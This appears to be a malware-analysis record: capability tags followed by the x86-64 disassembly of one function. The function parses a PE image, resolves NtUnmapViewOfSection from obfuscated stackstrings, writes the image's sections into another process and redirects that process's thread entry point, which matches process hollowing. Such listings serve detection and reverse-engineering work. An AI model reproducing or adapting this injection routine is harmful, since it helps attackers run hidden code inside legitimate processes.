Function at 0x140047cb0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov qword [rbp - 0x68], 0xfffffffffffffffe
mov rax, qword [0x14007c080]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov rsi, r9
mov qword [rsp + 0x68], r8
mov r14, rdx
mov qword [rsp + 0x60], rdx
mov r13, rcx
mov qword [rbp - 0x78], rcx
mov r15, qword [rbp + 0xe0]
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call fcn.140006ef0
xor r12b, r12b
mov rbx, 0xffffffffffffffff
cmp byte [rbp + 0xf8], r12b
je 0x140047f16
movdqa xmm0, xmmword [0x140070530]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], r12b
movzx r9d, byte [rbp + 0xf0]
lea r8, [rbp + 0x30]
lea rdx, [rbp - 0x80]
mov ecx, eax
call fcn.1400488d0
test al, al
je 0x140047e3f
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140047e3f
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
call fcn.140016e30
test eax, eax
je 0x140047e17
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x70]
call fcn.140016f50
test eax, eax
je 0x140047d97
mov r12b, 1
jmp 0x140047ed2
mov word [rbp + 0x50], 0x3231
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
mov r14, rbx
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140047db0
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140047dfe
lea rax, [rcx + r14]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
mov rax, rsi
jb 0x140047de1
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + r14], 0
jmp 0x140047ecd
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, rsi
call fcn.14001ab60
jmp 0x140047ecd
mov word [rbp + 0x51], 0x31
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r14, rbx
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140047e30
jmp 0x140047dba
mov word [rbp + 0x51], 0x5f30
mov byte [rbp + 0x53], 0
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
mov r14, rbx
inc r14
cmp byte [rax + r14], 0
jne 0x140047e54
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140047e9f
lea rax, [rcx + r14]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x140047e85
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + r14], 0
jmp 0x140047eb3
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, rsi
call fcn.14001ab60
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
mov rcx, rsi
call fcn.14001ace0
mov r14, qword [rsp + 0x60]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140047f0d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047f08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048882
call fcn.14001dc84
test r12b, r12b
je 0x14004885a
lea rdx, [0x14006eea0]
lea rcx, [rbp + 0x30]
call fcn.140041bd0
cmp qword [rax + 0x18], 0x10
jb 0x140047f30
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140047f77
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047f72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048888
call fcn.14001dc84
movdqa xmm0, xmmword [0x140070530]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rdi, rdi
je 0x1400487f2
lea rdx, [0x14006e060]
lea rcx, [rbp + 0x10]
call fcn.140041bd0
cmp qword [rax + 0x18], 0x10
jb 0x140047fab
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007e5d0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140047ff9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047ff4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004888e
call fcn.14001dc84
lea rdx, [0x14006e090]
lea rcx, [rbp + 0x10]
call fcn.140041bd0
cmp qword [rax + 0x18], 0x10
jb 0x140048013
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007e5c8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140048061
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004805c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048894
call fcn.14001dc84
lea rdx, [0x14006e0c0]
lea rcx, [rbp + 0x10]
call fcn.140041bd0
cmp qword [rax + 0x18], 0x10
jb 0x14004807b
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007e5c0], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400480c9
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400480c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004889a
call fcn.14001dc84
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x140048686
movsxd r13, dword [r13 + 0x3c]
add r13, qword [rbp - 0x78]
cmp dword [r13], 0x4550
jne 0x14004862f
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.140016650
movzx eax, word [r13 + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x140048112
cmp dword [rsp + 0x60], 0
jmp 0x140048121
mov ecx, 0x8664
cmp ax, cx
jne 0x140048127
cmp dword [rsp + 0x60], 6
jne 0x14004885a
lea rdi, [rbp + 0x30]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x60]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 0x101
xor r12d, r12d
mov word [rbp - 0x20], r12w
cmp byte [rbp + 0xf8], al
lea rax, [rbp + 0x30]
je 0x14004818d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x68]
mov rdx, r14
mov rcx, qword [rsp + 0x78]
call fcn.1400547e0
jmp 0x1400481a8
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x68]
mov rcx, r14
call fcn.14000acc0
test eax, eax
je 0x1400485d4
mov edx, 0xc
call fcn.140017050
mov rdi, rax
mov qword [rbp - 0x70], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x38]
call fcn.140017150
test eax, eax
je 0x1400485b8
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x68]
mov rcx, qword [rbp + 0x30]
call qword [0x14007e5d0]
mov dword [rbp + 0x50], 0x5f3777
lea rax, [rbp + 0x50]
mov r14, rbx
nop
inc r14
cmp byte [rax + r14], r12b
jne 0x140048210
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140048259
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x140048240
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + r14], r12b
jmp 0x14004826d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.14001ab60
mov eax, dword [rsp + 0x68]
mov word [rbp + 0x50], 0x6d69
mov r14, rbx
cmp rax, qword [r13 + 0x30]
lea rax, [rbp + 0x50]
jne 0x1400482e1
mov word [rbp + 0x52], 0x6f67
mov word [rbp + 0x55], 0x5f
mov byte [rbp + 0x54], 0x6f
inc r14
cmp byte [rax + r14], r12b
jne 0x140048294
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140048339
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x1400482c8
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [r14 + rdi], r12b
jmp 0x14004834d
mov dword [rbp + 0x53], 0x5f6666
mov byte [rbp + 0x52], 0x67
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x1400482f0
mov rcx, qword [r15 + 0x10]
mov rdx, qword [r15 + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140048339
lea rax, [rcx + r14]
mov qword [r15 + 0x10], rax
mov rax, r15
cmp rdx, 0x10
jb 0x140048320
mov rax, qword [r15]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + r14], r12b
jmp 0x14004834d
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.14001ab60
mov eax, dword [rsp + 0x68]
cmp rax, qword [r13 + 0x30]
jne 0x14004845a
mov dword [rbp + 0x5b], 0x642e6c6c
mov word [rbp + 0x60], 0x6c
mov byte [rbp + 0x5f], 0x6c
mov word [rbp + 0x58], 0x746e
mov byte [rbp + 0x5a], 0x64
mov dword [rbp + 0x11], 0x6d6e5574
mov word [rbp + 0x20], 0x6974
mov word [rbp + 0x23], 0x6e
mov dword [rbp + 0x1a], 0x53664f77
mov dword [rbp + 0x16], 0x65695670
mov word [rbp + 0x1e], 0x6365
mov byte [rbp + 0x10], 0x4e
mov byte [rbp + 0x22], 0x6f
mov byte [rbp + 0x15], 0x61
lea rcx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x30]
call rax
mov r14, rbx
test eax, eax
lea rax, [rbp + 0x50]
jne 0x1400483eb
mov dword [rbp + 0x50], 0x637573
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x1400483e0
jmp 0x140048409
mov word [rbp + 0x51], 0x6666
mov byte [rbp + 0x53], r12b
mov byte [rbp + 0x50], 0x66
nop dword [rax]
inc r14
cmp byte [rax + r14], r12b
jne 0x140048400
mov rdx, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x10]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140048446
lea rax, [rcx + r14]
cmp rdx, 0x10
mov qword [r15 + 0x10], rax
jb 0x14004842d
mov r15, qword [r15]
lea rdi, [r15 + rcx]
mov r8, r14
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + r14], r12b
jmp 0x14004845a
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x50]
mov rdx, r14
mov rcx, r15
call fcn.14001ab60
mov eax, 4
mov ecx, 0x40
cmp byte [rbp + 0xe8], r12b
cmovne eax, ecx
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], eax
mov rdx, qword [r13 + 0x30]
mov rcx, qword [rbp + 0x30]
call fcn.140017240
mov r14, rax
test rax, rax
je 0x140048536
mov r9d, dword [r13 + 0x54]
mov rsi, qword [rbp - 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, qword [rbp + 0x30]
call fcn.140017350
movzx edi, word [r13 + 0x14]
add rdi, 0x2c
xor r15d, r15d
mov ebx, r15d
cmp r15w, word [r13 + 6]
jae 0x1400484e8
add rdi, r13
nop
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, rsi
mov edx, dword [rdi - 8]
add rdx, r14
mov rcx, qword [rbp + 0x30]
call fcn.140017350
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [r13 + 6]
cmp ebx, eax
jl 0x1400484c0
mov rdi, qword [rbp - 0x70]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [r13 + 0x30]
mov rcx, qword [rbp + 0x30]
call fcn.140017350
mov eax, dword [r13 + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp + 0x38]
call qword [0x14007e5c8]
mov rcx, qword [rbp + 0x38]
call qword [0x14007e5c0]
mov bl, 1
jmp 0x1400486b8
mov word [rbp + 0x50], 0x3831
mov byte [rbp + 0x52], r12b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140048544
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140048596
lea rax, [rcx + rbx]
cmp rdx, 0x10
mov qword [rsi + 0x10], rax
jb 0x140048571
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + rbx], r12b
mov rcx, qword [rbp + 0x30]
call fcn.140054940
jmp 0x1400486b3
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.14001ab60
mov rcx, qword [rbp + 0x30]
call fcn.140054940
jmp 0x1400486b3
mov word [rbp + 0x50], 0x3731
mov byte [rbp + 0x52], r12b
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x1400485c6
jmp 0x14004854d
mov word [rbp + 0x51], 0x36
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x1400485e2
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004869f
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
jb 0x140048613
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + rbx], r12b
jmp 0x1400486b3
mov word [rbp + 0x50], 0x3531
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140048640
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14004869f
lea rax, [rcx + rbx]
cmp rdx, 0x10
mov qword [rsi + 0x10], rax
jb 0x14004866d
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rdi + rbx], 0
jmp 0x1400486b3
mov word [rbp + 0x50], 0x3431
mov byte [rbp + 0x52], 0
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140048694
jmp 0x140048649
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.14001ab60
xor bl, bl
xor r15d, r15d
cmp qword [rsp + 0x70], 0
je 0x1400487cb
lea rdx, [0x14006e0e0]
lea rcx, [rbp + 0x30]
call fcn.140041bd0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400486df
mov rax, qword [rax]
mov rcx, rax
call fcn.140054a30
mov rdi, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140048725
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048720
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400488a0
call fcn.14001dc84
movdqa xmm0, xmmword [0x140070530]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rdi, rdi
je 0x1400487cb
lea rdx, [0x14006e100]
lea rcx, [rbp + 0x10]
call fcn.140041bd0
cmp qword [rax + 0x18], 0x10
jb 0x140048759
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007e5f8], rax
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400487ae
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400487a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004887c
call fcn.14001dc84
mov rax, qword [0x14007e5f8]
movdqa xmm0, xmmword [0x140070530]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
test rax, rax
je 0x1400487cb
mov rcx, qword [rsp + 0x70]
call rax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400487df
call fcn.140009540
mov qword [rsp + 0x78], r15
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400487ed
call fcn.140009540
movzx eax, bl
jmp 0x14004885c
mov word [rbp + 0x51], 0x33
mov byte [rbp + 0x50], 0x31
lea rax, [rbp + 0x50]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140048800
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140048846
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
cmp rdx, 0x10
jb 0x14004882d
mov rsi, qword [rsi]
lea rdi, [rsi + rcx]
mov r8, rbx
lea rdx, [rbp + 0x50]
mov rcx, rdi
call fcn.14001f8a0
mov byte [rbx + rdi], 0
jmp 0x14004885a
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x50]
mov rdx, rbx
mov rcx, rsi
call fcn.14001ab60
xor al, al
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.14001dc60
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140022154
int3
call fcn.140022154
int3
call fcn.140022154
int3
call fcn.140022154
int3
call fcn.140022154
int3
call fcn.140022154
int3
call fcn.140022154
int3